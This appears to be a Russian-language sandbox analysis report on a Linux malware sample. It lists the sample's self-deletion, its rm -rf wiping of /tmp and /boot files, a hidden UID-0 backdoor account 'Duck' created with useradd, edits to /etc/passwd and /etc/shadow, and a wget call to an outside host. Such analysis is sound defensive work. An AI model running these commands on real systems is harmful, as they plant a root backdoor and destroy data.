Техническая информация
Вредоносные функции:
Самоудаляется
Запускает процессы:
- rm -rf /tmp/*
- rm -rf <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log
- rm -rf /boot/grub/deamon
- rm -rf /boot/grub_disk_genius
- mkdir /tmp/.Myslut
- useradd -o -u 0 -g 0 -M -d /root -s /bin/bash Duck
- nscd -i passwd
- nscd -i group
- passwd Duck
- wget http://yip.su/1Aa9M6.html --no-check-certificate
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /etc/passwd+
- /etc/shadow+
- /etc/subuid+
- /etc/subgid+
Создает папки:
- /tmp/.Myslut
Создает символические ссылки (симлинки):
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /etc/shadow.lock
Создает или модифицирует файлы:
- /etc/.pwd.lock
- /etc/passwd.720
- /etc/group.720
- /etc/gshadow.720
- /etc/subuid.720
- /etc/subgid.720
- /etc/shadow.720
- /etc/passwd-
- /etc/passwd+
- /etc/shadow-
- /etc/shadow+
- /etc/subuid-
- /etc/subuid+
- /etc/subgid-
- /etc/subgid+
- /root/stdout.log (deleted)
Удаляет файлы:
- /tmp/*
- /root/run.sh
- /boot/grub/deamon
- /boot/grub_disk_genius
- /etc/passwd.720
- /etc/group.720
- /etc/gshadow.720
- /etc/subuid.720
- /etc/subgid.720
- /etc/shadow.720
- /etc/shadow.lock
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
HTTP GET-запросы:
- yi#.##/1Aa9M6.html
DNS ASK:
- yi#.su
